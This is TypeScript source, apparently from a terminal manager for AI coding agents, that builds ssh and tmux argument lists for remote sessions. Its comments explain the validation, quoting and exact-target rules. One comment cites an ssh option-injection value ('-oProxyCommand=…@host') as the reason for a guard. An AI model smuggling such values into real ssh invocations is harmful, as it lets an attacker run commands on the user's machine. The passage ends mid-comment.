Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
// Pure ssh/tmux argv + remote-command builders for SSH projects. No electron/node-pty imports
// — unit-testable in isolation. The electron/spawn wiring lives in ssh-project.ts + pty-manager.
import os from 'os'
import path from 'path'
import { createHash } from 'crypto'
import {
posixQuote,
quoteRemotePath,
remoteTmuxCommand,
remoteTmuxPathPrologue,
type SshConnection
} from '../../shared/ssh'
import {
TMUX_SOCKET,
assertPasteTarget,
assertPasteBuffer,
exactPaneTarget,
pasteBufferName,
type PasteDelivery
} from '../tmux-naming'
import { sanitizePasteText } from '../paste-injection'
import { typedInputScript } from '../typed-input'
import { canControlCanvas } from '../../shared/agents/config'
import { COMBINED_PANE_MARKER, PANE_OWNER_FMT, PS_FOREGROUND_FLAGS } from '../agents/pane-owner'
import { VISIBLE_CAPTURE_FORMAT, capturePaneTarget } from '../capture-route'
// Dependency-free (no node-pty): safe to import from these pure builders.
/**
* The tmux socket an SSH project's sessions live on, ON THE HOST — and it is the SAME socket a
* nodeterm running on that host uses (`TMUX_SOCKET`), deliberately.
*
* Both sides read the same `.nodeterm/project.json` and name every session `nt-<nodeId>`, so the
* socket was the only thing keeping them apart: with a socket of its own (`nodeterm-rmt`, until
* 2026-11) a canvas opened locally on the server and the same folder opened over SSH from a laptop
* were two tmux servers holding same-named sessions that never saw each other, and every switch of
* machines cold-restored into a fresh shell (field report; the mobile half was issue #1319). The
* original "never collide with the user's own tmux" rationale is satisfied by `node-terminal`
* already — the user's own tmux is on `default`.
*
* Kept as its own export because the remote builders read as "the remote socket" and the two could
* legitimately diverge again (a host-side setting, say); `unified-socket.test.ts` pins the equality.
*/
export const RMT_TMUX_SOCKET: string = TMUX_SOCKET
/**
* The socket the SSH path used BEFORE the unification. Nothing is CREATED here any more, but a
* session an older build left here is ADOPTED in place — re-attached, written to, captured and
* killed on this socket — for as long as it lives (`sessionSocketProbe`, which is also where the
* incident that forced this is written down). The first-merged unification did the opposite: it
* cold-restored the node onto `TMUX_SOCKET` "exactly as after a host reboot" and left the original
* running as an orphan. A reboot ends the old process; an upgrade does not, so that turned every
* upgrade into a duplicated, half-resumed canvas. The sweeps (session memory, dev ports), the
* reaper and the by-name kill still list this socket for what no node claims.
*/
export const LEGACY_RMT_TMUX_SOCKET = 'nodeterm-rmt'
/**
* Every remote command that invokes `tmux` goes through this: the PATH-append prologue
* (`remoteTmuxPathPrologue`, issue #449) plus the command. Without it a bare `tmux` dies with
* `command not found` on any host whose ssh exec-channel PATH misses the install dir — most
* visibly macOS with Homebrew's tmux in `/opt/homebrew/bin`. The prologue is one assignment, so
* the command's own exit code (what `probeSaysAbsent` and every caller reads) is unchanged.
* Exported for the pane-input builders (`pane-input.ts`), which build their remote commands beside
* their local twins rather than here.
*/
export function tmuxCmd(body: string): string {
return `${remoteTmuxPathPrologue()}${body}`
}
/** The shell variable `sessionSocketProbe` sets, as the word a builder splices after `tmux -L`. */
export const SESSION_SOCKET_REF = '"$_nts"'
/**
* WHICH SOCKET HOLDS THIS SESSION, decided on the host, in the same shell line that then uses it.
*
* The unification (2026-11) moved every SSH spawn onto `RMT_TMUX_SOCKET` and, as first merged,
* simply stopped looking at `LEGACY_RMT_TMUX_SOCKET`. A session living there was therefore
* invisible on the first launch after the upgrade: `new-session -A` on the new socket found nothing
* and CREATED a second `nt-<id>`, the node cold-restored, and the original — a live agent CLI with
* its conversation — kept running detached beside it. Measured on the reporting host (2026-11-15):
* 27 nodes respawned in one second, 13 of them into a bare `claude` with no `--resume`, while all
* 27 originals (and 45 more) sat on the legacy socket holding RAM.
*
* tmux cannot move a session between servers, so the session is ADOPTED where it is: when the
* unified socket does not hold the name and the legacy one does, every command about that session
* targets the legacy socket. Nothing is ever CREATED there by choice — a name neither socket holds
* resolves to the unified one — so the legacy server only drains as its sessions end.
*
* Stateless on purpose. The desktop could remember "this node is on the legacy socket", but most
* commands here run for nodes it holds no live session for (after an app restart, for a backgrounded
* project), and a remembered answer outlives the session it was about. Asking costs one host-local
* `has-session` (two when the unified socket misses) inside an ssh exec we were making anyway.
*
* The unified socket WINS when both hold the name: that is what the first-merged build left behind
* on every host it ran against, and the pane the user has been typing into since is the new one.
*
* `</dev/null` because several callers ride a payload on the ssh child's stdin (`load-buffer -`);
* the probe must never be the one that reads it. The exact `=name` target is double-quoted — under
* zsh a bare leading `=` is a command lookup — and the id is spliced only when it is the
* `[A-Za-z0-9._-]` shape `sessionName()` produces; anything else gets the unified socket and no
* probe, so a hostile id never reaches a shell line through here.
*/
export function sessionSocketProbe(sessionId: string): string {
if (!/^[A-Za-z0-9._-]+$/.test(sessionId)) return `_nts=${RMT_TMUX_SOCKET}; `
const t = `"=${sessionId}"`
return (
`_nts=${RMT_TMUX_SOCKET}; ` +
`tmux -L ${RMT_TMUX_SOCKET} has-session -t ${t} </dev/null >/dev/null 2>&1 || ` +
`{ tmux -L ${LEGACY_RMT_TMUX_SOCKET} has-session -t ${t} </dev/null >/dev/null 2>&1 && _nts=${LEGACY_RMT_TMUX_SOCKET}; }; `
)
}
/** `tmuxCmd` for a command about ONE session: PATH prologue, the socket probe, then the body —
* which names the socket as `SESSION_SOCKET_REF`. The body stays last, so its exit code is the
* command's, exactly as with `tmuxCmd`. */
export function sessionTmuxCmd(sessionId: string, body: string): string {
return tmuxCmd(`${sessionSocketProbe(sessionId)}${body}`)
}
/**
* Per-project ControlMaster socket path. Deliberately SHORT and space-free. The macOS userData dir
* (`~/Library/Application Support/<app>`) cannot host the socket: it both exceeds the unix-domain
* socket `sun_path` limit (104 bytes — and ssh appends a ~17-char temp suffix while binding the
* master, pushing a ~102-char path over) AND contains a space, which ssh's `-o ControlPath=` parser
* rejects ("extra arguments at end of line"). Either makes the master silently fail to bind. So we
* hash the project id to a fixed length under a short home dir (`~/.nodeterm/ssh-cm/`) — the master
* socket then always binds, regardless of project id or platform userData location.
*/
export function controlPathFor(projectId: string): string {
const id = createHash('sha256').update(projectId).digest('hex').slice(0, 16)
return path.join(os.homedir(), '.nodeterm', 'ssh-cm', `${id}.sock`)
}
/**
* One `user@host` destination argv element, refused when it could be anything else. A leading `-`
* makes ssh parse the whole element as an OPTION (`-oProxyCommand=…@host` runs a local command), and
* whitespace or a control character is never part of a real user or host name. Every argv this module
* builds passes through here, so no caller — a hand-edited project file, a relay peer, a future
* dialog — can turn an endpoint into ssh options.
*/
export function sshDestination(conn: Pick<SshConnection, 'user' | 'host'>): string {
for (const [field, v] of [['user', conn.user], ['host', conn.host]] as const) {
// eslint-disable-next-line no-control-regex
if (typeof v !== 'string' || (field === 'host' && v === '') || v.startsWith('-') || /[\s\u0000-\u001f\u007f]/.test(v)) {
throw new Error(`refusing ssh ${field} ${JSON.stringify(String(v)).slice(0, 80)}: not a valid ${field}`)
}
}
return `${conn.user}@${conn.host}`
}
function target(conn: SshConnection): string {
return sshDestination(conn)
}
function portArgs(conn: SshConnection): string[] {
return ['-p', String(conn.port ?? 22)]
}
/**
* `IdentitiesOnly=yes` + `-i` when the connection names a key, nothing otherwise. The pairing
* exists because of `AddKeysToAgent` (masterArgs): an agent accumulates keys, and without
* IdentitiesOnly ssh offers EVERY agent key before the configured one. Each rejected offer spends
* one of the server's `MaxAuthTries` (default 6), so a well-stocked agent ended the connection
* with "Too many authentication failures" before the configured key was ever offered (measured
* against a real sshd: 8 junk agent keys plus `-i` = disconnected; the same with IdentitiesOnly
* connects). IdentitiesOnly does NOT bypass the agent for the named key: ssh still has the agent
* sign it, so the no-reprompt behavior survives (measured: askpass removed entirely, agent
* holding the key, zero prompts). With NO configured key this must stay empty, because
* IdentitiesOnly would then disable agent keys outright and break the very reconnect path
* AddKeysToAgent provides.
*/
function identityArgs(conn: SshConnection): string[] {
return conn.identityFile ? ['-o', 'IdentitiesOnly=yes', '-i', conn.identityFile] : []
}
/**
* Honor a config-level `IdentityAgent SSH_AUTH_SOCK` (issue #427). When the `ssh -G` probe
* (agent-probe.ts) determined that this host's effective config routes it at the ENVIRONMENT's
* agent, pin the user's ambient login-agent socket on the command line: a command-line `-o` is
* first-obtained, so it beats both the config line (which would re-read our overridden env and
* land back on the app-private agent) and the env override itself. Empty for every connection the
* probe did not mark — byte-identical legacy argv.
*/
function agentArgs(conn: SshConnection): string[] {
return conn.identityAgentSock ? ['-o', `IdentityAgent=${conn.identityAgentSock}`] : []
}
/** Args for the backgrounded multiplexing master (the one auth happens here). */
export function masterArgs(conn: SshConnection, controlPath: string): string[] {
const args = [
'-M',
'-N',
'-o',
'ControlMaster=auto',
'-o',
`ControlPath=${controlPath}`,
'-o',
'ControlPersist=300',
'-o',
'BatchMode=no',
// Unknown host → record it and connect, instead of aborting. The master is backgrounded
// (`-M -N`, no tty), so the default `StrictHostKeyChecking=ask` can never get its yes/no
// answered and the whole connection fails — the "server not in known_hosts" error users hit.
// `accept-new` auto-accepts a FIRST-SEEN host key (writing it to known_hosts) but STILL
// refuses a host whose recorded key later CHANGED, so MITM protection on known hosts stays.
'-o',
'StrictHostKeyChecking=accept-new',
// Keepalives on the ONE connection every terminal multiplexes over: keep NAT/firewall
// entries warm, and detect a dead link in ~60s (15s × 4) instead of hanging half-dead
// after sleep/wake or a network change. The client then exits 255 and the renderer's
// SshReconnector takes over.
'-o',
'ServerAliveInterval=15',
'-o',
'ServerAliveCountMax=4',
// Bound the TCP-connect phase. connect() waits on the master PROCESS for keyed connections
// (a passphrase prompt can take minutes), so a black-holed TCP connect must fail through ssh
// itself rather than ride that long window for the kernel's ~75s of SYN retries. Auth,
// including the passphrase prompt, is not covered by ConnectTimeout, so no slow human is
// ever cut off by this.
'-o',
'ConnectTimeout=15',
// The master has no tty, so it can never complete password or keyboard-interactive auth: the
// best it can do is submit an EMPTY credential, which OpenSSH does silently, once per allowed
// prompt. Every connect against a password-auth host therefore produced several FAILED logins,
// and because the app retries on its own timers (reconnector backoff, 45s watchdog, resume,
// tab switches) a single evening was enough to trip the host's own fail2ban and lock the user
// out with "Connection closed by <host>". Refusing both methods up front means the master
// fails honestly on publickey alone and never spends a login attempt it cannot win.
//
// Do NOT express this as `NumberOfPasswordPrompts=0`: that counter also bounds the KEY
// PASSPHRASE retry loop in OpenSSH's load_identity_file, so zero means an encrypted key is
// tried once with an empty passphrase and then abandoned WITHOUT ever invoking SSH_ASKPASS.
// It silently disables passphrase prompting altogether, which an end-to-end test against a
// real sshd caught and no unit test could.
'-o',
'PasswordAuthentication=no',
'-o',
'KbdInteractiveAuthentication=no',
// Load a successfully unlocked key into the agent named by SSH_AUTH_SOCK. An AGENT, not this
// app, is the passphrase cache: the next master (reconnect, watchdog respawn) authenticates
// through it and never re-prompts (measured against a real sshd: second connect, fresh master,
// zero askpass invocations, even with SSH_ASKPASS removed), and the decrypted key sits in a
// purpose-built process instead of a plaintext string in Electron main memory — which is why
// the old in-app passphrase cache was deleted in its favor.
//
// WHICH agent is the app's choice, and it is not the user's: main points SSH_AUTH_SOCK at an
// app-private agent it spawns and kills (src/main/remote-ssh/ssh-agent.ts), so the unlock is
// scoped to one app run instead of living in the login agent until logout. Read that file
// before assuming a key unlocked here survives a quit.
//
// Harmless when no agent is reachable at all: ssh skips the add silently (measured: not one
// stderr line, so nothing for lastSshErrorLine to mistake for a failure cause) and simply
// prompts again next time.
//
// OMITTED for a pinned-agent connection (agentArgs): there the designated agent is the user's
// LOGIN agent, and forcing AddKeysToAgent=yes would load an askpass-unlocked key into it until
// logout — the exact leak the app-private agent exists to close. The user's own ~/.ssh/config
// decides for that host instead (and their key is normally already in that agent, which is why
// they wrote `IdentityAgent SSH_AUTH_SOCK` in the first place).
...(conn.identityAgentSock ? [] : ['-o', 'AddKeysToAgent=yes']),
...agentArgs(conn),
...portArgs(conn),
...identityArgs(conn)
]
args.push(target(conn))
return args
}
/**
* Args for a child ssh that reuses the master socket; `remote` is an optional remote command.
*
* `ControlMaster=auto`, NOT `no` — this is the self-heal half of the churn fix. With a live
* master both behave identically (the child muxes over the socket, no new TCP/auth). But when
* the master is gone and its socket file is absent, `no` made every child SILENTLY fall back to
* a fresh direct connection — one full TCP+auth+close per poll (~2-3/s while the app is open;
* a field report counted ~72k root logins in 24h on one host), invisible because everything
* kept working. With `auto` + `ControlPersist`, the FIRST such child rebuilds a persistent
* background master and every later child muxes over it. A leftover DEAD socket file still
* blocks `auto` from binding (ssh refuses: "ControlSocket … already exists, disabling
* multiplexing" → direct fallback), which is what the manager's watchdog exists for
* (`ssh-project.ts` — periodic `-O check`, unlink stale socket, respawn master).
*/
export function childArgs(conn: SshConnection, controlPath: string, remote?: string): string[] {
const args = [
'-o',
'ControlMaster=auto',
'-o',
`ControlPath=${controlPath}`,
'-o',
'ControlPersist=300',
// Matters when this child is the one that actually touches the host (it became the master, or
// fell back to a direct connection because the master was gone): a first-seen host key must be
// recorded and accepted rather than abort a backgrounded, tty-less exec. See masterArgs.
'-o',
'StrictHostKeyChecking=accept-new',
// Meaningful only when this child ends up owning the transport (became the master, or fell
// back to a direct connection) — a mux client rides the master's keepalives. Same values as
// masterArgs, for the same reason: detect a dead link in ~60s instead of hanging half-dead.
'-o',
'ServerAliveInterval=15',
'-o',
'ServerAliveCountMax=4',
...portArgs(conn)
]
// The key matters exactly when mux is NOT available (fallback / becoming master) — the case
// the old childArgs ignored: with a non-default identityFile every fallback exec failed auth.
// identityArgs also pins the offer (IdentitiesOnly) so that same fallback cannot burn the
// server's MaxAuthTries on unrelated agent keys; the agent still signs the pinned key, which
// is the only way a tty-less child can use an ENCRYPTED key at all (it has no askpass wiring).
// agentArgs matters in the same fallback case, for the same reason as masterArgs: the child's
// env points at the app-private agent, and only the pin routes it back at the login agent the
// user's config asked for.
args.push(...agentArgs(conn))
args.push(...identityArgs(conn))
args.push(target(conn))
if (remote !== undefined) args.push(remote)
return args
}
export function checkMasterArgs(conn: SshConnection, controlPath: string): string[] {
return ['-O', 'check', '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
/**
* A real round trip over the master: open one session channel and run `true`. This is the
* liveness question `-O check` cannot answer. `-O check` is served by the master PROCESS over the
* local control socket, so it says "Master running" for a master whose TCP died under a sleep:
* measured against a black-holed connection, `-O check` exited 0 while a mux'd command hung until
* ServerAlive gave up ~74 s later. A channel open has to reach sshd and come back, so a
* half-dead master cannot answer it. The caller bounds it with a timeout; a TIMEOUT is the only
* verdict that means dead (see `SshProjectManager.revalidateAll`).
*
* `ControlMaster=no`: if the socket is gone this must not become a fresh master (which would
* answer on the new connection and say nothing about the old one). `BatchMode=yes`: if ssh falls
* back to a direct connection it must never park on a prompt with no one to answer it.
*/
export function masterRoundTripArgs(conn: SshConnection, controlPath: string): string[] {
return [
'-o',
'ControlMaster=no',
'-o',
`ControlPath=${controlPath}`,
'-o',
'BatchMode=yes',
...portArgs(conn),
target(conn),
'true'
]
}
export function exitMasterArgs(conn: SshConnection, controlPath: string): string[] {
return ['-O', 'exit', '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
/**
* Every nodeterm tmux session on the host, by name.
*
* The host's own session list is the DURABLE record of which nodes run there. Our live pty map is
* not: `PtyManager.kill()` forgets a session on detach, so a backgrounded project's nodes vanish
* from it entirely — which is exactly the state the reconnect resync runs in. `list-sessions`
* exits non-zero when no server is running; the caller reads that as "no sessions", not an error.
* The format is single-quoted so `#{…}` reaches the remote tmux verbatim rather than being eaten
* by the remote shell (same idiom as `remotePaneCommandArgs`).
*/
export function remoteListSessionsArgs(conn: SshConnection, controlPath: string): string[] {
return childArgs(
conn,
controlPath,
tmuxCmd(
// Both sockets, one exec: a session still on the legacy socket is ADOPTED
// (`sessionSocketProbe`), so it must also read as PRESENT here — this list is what decides
// warm vs cold, and "cold" types `claude --resume` into the pane. The exit code stays the
// unified socket's own (1 = no server = evidence of absence), except that a legacy server
// that listed something turns that 1 into 0: the host does hold sessions.
`a=$(tmux -L ${RMT_TMUX_SOCKET} list-sessions -F '#{session_name}'); r=$?; ` +
`b=$(tmux -L ${LEGACY_RMT_TMUX_SOCKET} list-sessions -F '#{session_name}' 2>/dev/null); ` +
`[ -n "$b" ] && [ "$r" = 1 ] && r=0; ` +
`printf '%s\\n%s\\n' "$a" "$b"; exit $r`
)
)
}
/** One session name per non-empty line. */
export function parseRemoteSessionNames(stdout: string): string[] {
return stdout
.split('\n')
.map((line) => line.trim())
.filter((line) => line.length > 0)
}
/**
* Deliver text (and optionally Enter) into a node's REMOTE tmux session — the remote counterpart
* of `PtyManager.sendText`'s local path (dictation insert, /rename, /branch, note pushes). ONE
* remote command, so everything runs strictly in order on the remote host with no second network
* round trip.
*
* THE TEXT IS NOT IN THIS ARGV. It rides the ssh child's STDIN into `tmux load-buffer -b … -`.
* Two reasons, and both of them bit the previous version:
*
* - ARG_MAX. `set-buffer -- "$text"` / `send-keys -l -- '<text>'` puts the whole payload in one
* argument, and a single argument is capped at MAX_ARG_STRLEN (128 KB). Measured locally: a
* 300 KB payload dies with "Argument list too long"; the same payload through `load-buffer -`
* lands intact. A scrollback paste or a long note push is not a hypothetical size.
* - This repo's standing rule: no payload on a command line. It also retires the `posixQuote`
* of an attacker-influenced body into a remote shell line entirely — there is nothing left to
* quote.
*
* FRAMING is tmux's job now, not ours. See `localTmuxPasteArgs` for the whole measurement: the
* old `#{bracket_paste_flag}` conditional needed tmux 3.7 on the REMOTE host and silently
* degraded to a raw-newline mangle on every older one, while `paste-buffer -p` has consulted the
* pane's real bracketed-paste state since tmux 1.7 (2012). The remote host's tmux version stops
* being something this feature depends on.
*
* `sanitizePasteText` still runs — at the CALLER (`PtyManager.sendText`), once, for both paths,
* on the bytes that go down stdin. tmux inserting the frame does not make a payload-supplied
* `ESC[201~` harmless: it would still close the frame early and turn the rest into key input.
*
* The `#{pane_in_mode}` format and the inner `send-keys` command string are single-quoted so the
* remote SHELL passes them through verbatim — `#…` at the start of a word is a comment to sh, and
* the inner command is one tmux argument. `sessionId` is spliced unquoted, exactly as every
* sibling builder here does, and that is safe only because `sessionName()` sanitises to
* `[A-Za-z0-9_-]`; `localTmuxPasteArgs` asserts it for both paths (`assertPasteTarget`).
*/
export function remoteTmuxPasteArgs(
conn: SshConnection,
controlPath: string,
sessionId: string,
buffer: string,
enter: boolean
): string[] {
assertPasteTarget(sessionId, buffer)
const tmux = `tmux -L ${SESSION_SOCKET_REF}`
// EXACT target (`exactPaneTarget`): a bare name prefix-matches a longer session on a miss.
// Quoted for the remote shell where it is a word of its own (zsh expands a leading `=`); inside
// the single-quoted `if-shell` body tmux's own lexer reads it.
const pane = exactPaneTarget(sessionId)
const t = posixQuote(pane)
let cmd =
`${tmux} load-buffer -b ${buffer} - ';' ` +
`if-shell -F -t ${t} '#{pane_in_mode}' 'send-keys -t ${pane} -X cancel' ';' ` +
`paste-buffer -d -p -r -b ${buffer} -t ${t}`
if (enter) cmd += ` ';' send-keys -t ${t} Enter`
return childArgs(conn, controlPath, sessionTmuxCmd(sessionId, cmd))
}
/**
* ── DELETED: `remoteTmuxFramedPasteArgs` / `remoteFramedDelivery` ───────────────────────────────
*
* The remote mirror of the framed-plan trio deleted in tmux-naming.ts — see the tombstone there
* for the whole measurement (issue #453: tmux ≥ 3.7 passes paste-buffer content through vis(3),
* so a payload-carried `ESC[200~` arrives as the literal text `^[[200~`). The SSH leg was the
* WORSE case: the remote host's tmux is whatever the server runs, so the mangle appeared and
* disappeared per host. The envelope now rides `remotePasteDelivery` above (`-p` + a separate
* Enter, `PtyManager.sendEnvelope`), exactly like every other remote write.
*/
/**
* The TYPED delivery on the REMOTE server (see core/typed-input.ts): the same fixed script, run
* under `sh -c` so it does not depend on the user's login shell, with the text on stdin — never on
* the remote command line, where it would sit in the host's process list.
*/
export function remoteTypedArgs(
conn: SshConnection,
controlPath: string,
sessionId: string,
buffer: string
): string[] {
return childArgs(
conn,
controlPath,
// The script runs under its own `sh`, which does not see this line's variables: hand the probed
// socket over as that process's environment.
sessionTmuxCmd(
sessionId,
`_nts="$_nts" sh -c ${posixQuote(typedInputScript('tmux', SESSION_SOCKET_REF, sessionId, buffer))}`
)
)
}
/**
* A bare Enter into the remote pane — the remote half of `sendText`'s empty-payload case.
*
* It is not a special case invented here: `sendText('', { enter: true })` means "submit whatever
* is composed", and the legacy two-step did exactly this (an empty literal send is a no-op, then
* the Enter). It has to bypass `remoteTmuxPasteArgs` because `load-buffer -` given zero bytes
* creates NO buffer, so the `paste-buffer` after it fails and tmux abandons the rest of the
* command list — including the Enter. Measured.
*
* `sessionId` is spliced unquoted like every sibling, and — as of review — asserted like every
* sibling. It was the one new builder in this change that opted out. Unreachable today, because
* `sessionName()` sanitises to `[A-Za-z0-9_-]` before anything gets here, but a splice that is
* safe only because some caller upstream happens to be strict is one refactor from an injection,
* and this PR's own rule is that the guarantee lives at the splice.
*/
export function remoteTmuxEnterArgs(
conn: SshConnection,
controlPath: string,
sessionId: string,
opts?: { cursorLeftFirst?: boolean }
): string[] {
assertPasteTarget(sessionId)
// `cursorLeftFirst`: a typed message ending in `\` (core/typed-input.ts `endsWithBackslash`).
const keys = opts?.cursorLeftFirst === true ? 'Left Enter' : 'Enter'
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} send-keys -t ${posixQuote(exactPaneTarget(sessionId))} ${keys}`)
)
}
/** `delete-buffer` on the REMOTE server — the sweep for a remote paste that never ran. */
export function remoteDeleteBufferArgs(
conn: SshConnection,
controlPath: string,
buffer: string,
/** The session the paste was for — the buffer lives on THAT session's server
* (`sessionSocketProbe`). Omitted = the unified socket. */
sessionId?: string
): string[] {
assertPasteBuffer(buffer)
return childArgs(
conn,
controlPath,
sessionId === undefined
? tmuxCmd(`tmux -L ${RMT_TMUX_SOCKET} delete-buffer -b ${buffer}`)
: sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} delete-buffer -b ${buffer}`)
)
}
/**
* The plan for a REMOTE delivery — the exact mirror of `localPasteDelivery`, and deliberately the
* same three decisions (sanitize, empty body, per-call buffer) taken by calling the SAME code
* rather than by writing them out again here. Drift between the two legs is how the ESC rule
* survived being missing on one of them once already.
*/
export function remotePasteDelivery(
conn: SshConnection,
controlPath: string,
sessionId: string,
text: string,
enter: boolean
): PasteDelivery | null {
const body = sanitizePasteText(text)
if (body.length === 0) {
if (!enter) return null
return { args: remoteTmuxEnterArgs(conn, controlPath, sessionId), body: '', cleanup: null }
}
const buffer = pasteBufferName()
return {
args: remoteTmuxPasteArgs(conn, controlPath, sessionId, buffer, enter),
body,
cleanup: remoteDeleteBufferArgs(conn, controlPath, buffer, sessionId)
}
}
/**
* Did a FAILED `tmux has-session` probe actually say the session is absent? Only tmux's own
* exit 1 ("can't find session" / "no server running") does. Anything else — ssh's 255 (a dead
* or mid-reconnect ControlMaster), 127 (tmux off the remote PATH), a spawn error with no
* numeric code — is a failed READ, and a failed read is never evidence of absence. Reading a
* transport failure as "cold" made the desktop replay scrollback and type `claude --resume …`
* into a LIVE fullscreen Claude session; the mangled line then landed in the agent's
* conversation as a user prompt (field report). Unknown ⇒ warm attach, which types nothing.
*/
export function probeSaysAbsent(err: unknown): boolean {
return (err as { code?: unknown } | null)?.code === 1
}
/**
* Every tmux socket a nodeterm session can be living on, on ONE machine — used when we are asked to
* end a session by NAME and do not know which socket holds it.
*
* Both can exist on the same host: `node-terminal` is what every nodeterm uses now (running ON the
* machine or SSH-ing INTO it), `nodeterm-rmt` is where a pre-unification build put an SSH project's
* sessions (`LEGACY_RMT_TMUX_SOCKET`). The session-memory sweep lists both (`session-memory.ts`,
* `session-memory-remote.ts`) — so a kill that only ever targeted one of them promised something it
* could not do for every row that came off the other.
*
* Deliberately NOT the same constant the sweep and the reaper use, even though it holds the same two
* names: for THEM the order is load-bearing (the sweep's `bySession` is first-wins, so the order
* decides which socket a duplicate name is attributed to), and for a kill it means nothing. Sharing
* one array would silently couple a de-duplication preference to a kill list.
*/
export const KILL_TMUX_SOCKETS: readonly string[] = [TMUX_SOCKET, LEGACY_RMT_TMUX_SOCKET]
/**
* Which local sockets a destroy must attempt.
*
* `liveSocket` is the socket of the session we actually HOLD, which we know is the right one: one
* kill, and the fan-out below can never reach the ordinary path.
*
* With no live session the name is all we have, and then it depends on who is asking:
* - `everySocket: false` (the default, and every ordinary caller) → the local socket only. An
* ordinary node-× on a node that was never mounted in THIS process — the common case after an
* app restart — has no business speculating at the legacy `nodeterm-rmt`, which carries the
* sessions a pre-unification build on ANOTHER machine SSHed in to spawn here.
* - `everySocket: true` → every socket the name could be on. Only the session-memory panel's
* speculative kill asks for this, and it is the one caller that has earned it: the panel sweeps
* BOTH sockets, so an orphan row genuinely can be on either, and a kill aimed at one of them
* showed a confirm reading "this stops its tmux session" and then killed nothing at all.
*/
export function localKillSockets(
liveSocket: string | null,
everySocket = false
): readonly string[] {
if (liveSocket) return [liveSocket]
return everySocket ? KILL_TMUX_SOCKETS : [TMUX_SOCKET]
}
/**
* `=` forces tmux to match the target EXACTLY. Without it tmux falls back to fnmatch and then to
* PREFIX matching when the name is not found — and "not found" is the normal case for every kill we
* fire speculatively at a socket. Node ids end in a counter (`term-<base36 ms>-1`), so `nt-…-1` is a
* prefix of `nt-…-12`: a miss could kill a DIFFERENT session. The reaper already kills this way
* (`session-budget.ts`) for the same reason.
*/
function exactTarget(sessionId: string): string {
return `=${sessionId}`
}
/** Local `tmux kill-session` argv (the binary is resolved by the caller). */
export function localTmuxKillArgs(socket: string, sessionId: string): string[] {
return ['-L', socket, 'kill-session', '-t', exactTarget(sessionId)]
}
export function remoteTmuxKillArgs(
conn: SshConnection,
controlPath: string,
sessionId: string,
socket?: string
): string[] {
// Quoted: on a zsh login shell an unquoted word starting with `=` is a command-path lookup.
const kill = (word: string): string => `tmux -L ${word} kill-session -t ${posixQuote(exactTarget(sessionId))}`
// No socket named = "this node's session, wherever it lives": the one the probe resolves, so an
// ADOPTED legacy session ends with its node instead of leaking as an orphan.
return childArgs(
conn,
controlPath,
socket === undefined ? sessionTmuxCmd(sessionId, kill(SESSION_SOCKET_REF)) : tmuxCmd(kill(socket))
)
}
/**
* One kill per socket, for a caller that knows only the session NAME and does not know which socket
* carries it — i.e. `SshProjectManager.killSessions({ everySocket: true })`, which is the
* session-memory panel's route. Project deletion does NOT use this: it knows its own nodes, they
* are all on the SSH project's own socket, and speculating at the host's `node-terminal` would aim
* at sessions a nodeterm running ON that host owns.
*
* Best-effort by contract: tmux exits non-zero with "can't find session" on every socket that does
* not hold it, and that is an expected, ignored outcome rather than a failure.
*/
export function remoteTmuxKillEverySocketArgs(
conn: SshConnection,
controlPath: string,
sessionId: string
): string[][] {
return KILL_TMUX_SOCKETS.map((socket) => remoteTmuxKillArgs(conn, controlPath, sessionId, socket))
}
export function remoteCapturePaneArgs(conn: SshConnection, controlPath: string, sessionId: string, full: boolean): string[] {
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} capture-pane -p -e -t ${posixQuote(exactPaneTarget(sessionId))} -S ${full ? '-' : '-200'}`)
)
}
/**
* The VISIBLE screen of a remote session, with SGR, and nothing above it — the phone's resume
* repaint must never carry history, and `remoteCapturePaneArgs` always adds `-S`. The cursor line rides the
* SAME tmux invocation (see `capture-route.ts` for why, and for the measured exact-target
* spelling). Every piece that the REMOTE shell would otherwise read is single-quoted: tmux's `;`
* separator (bare, it would end the tmux command and run `display-message` as a shell command), the
* `=name:` target and the `#{…}` format. Proven under a real /bin/sh in capture-visible.realsh.test.ts.
*/
export function remoteCaptureVisibleArgs(conn: SshConnection, controlPath: string, sessionId: string): string[] {
const target = posixQuote(capturePaneTarget(sessionId))
return childArgs(
conn,
controlPath,
sessionTmuxCmd(
sessionId,
`tmux -L ${SESSION_SOCKET_REF} capture-pane -p -e -t ${target} ';' ` +
`display-message -p -t ${target} ${posixQuote(VISIBLE_CAPTURE_FORMAT)}`
)
)
}
/**
* Ask the REMOTE tmux when a node's session was created, AND what the host's clock says now — in
* one round trip, because the caller wants an AGE and the two clocks are not the same clock.
*
* `#{session_created}` is an epoch stamp taken on the HOST, so subtracting our own `Date.now()`
* would fold that host's clock skew (and every NTP correction) into the answer. Computing the
* difference from two numbers the host produced in the same shell removes the question entirely.
*
* Verified on tmux 3.3a and 3.4: `session_created` has been a format variable since long before
* either (unlike `#{bracket_paste_flag}`, the version trap this file's neighbours document), and
* `new-session -A` on an EXISTING session preserves the original creation time — which is the whole
* reason the answer can distinguish "this session was already here" from "our attach made it".
* Targeted `-t '=<name>:'` — the same exact-match form `PtyManager.paneCwdStale` documents, and
* for the same measured reason: without `=` tmux falls back to fnmatch then PREFIX matching, so
* `nt-abc` could answer about `nt-abcdef`, and a bare `=name` (no trailing colon) resolves NOTHING
* for a target-PANE query — exit 0, every format empty. Re-measured here on tmux 3.3a and 3.4.
*/
export function remoteSessionAgeArgs(conn: SshConnection, controlPath: string, sessionId: string): string[] {
return childArgs(
conn,
controlPath,
sessionTmuxCmd(
sessionId,
`printf '%s %s\n' "$(tmux -L ${SESSION_SOCKET_REF} display-message -p -t '=${sessionId}:' '#{session_created}')" "$(date +%s)"`
)
)
}
/**
* Seconds since a tmux session was created, from the `"<created> <now>"` line
* `remoteSessionAgeArgs` (and its local twin) produce. `null` for anything we cannot read as two
* epoch numbers — a missing session, an empty format, a shell that printed something else. Never
* negative: a host whose clock stepped backwards between the two `$( )` is unknowable, not brand
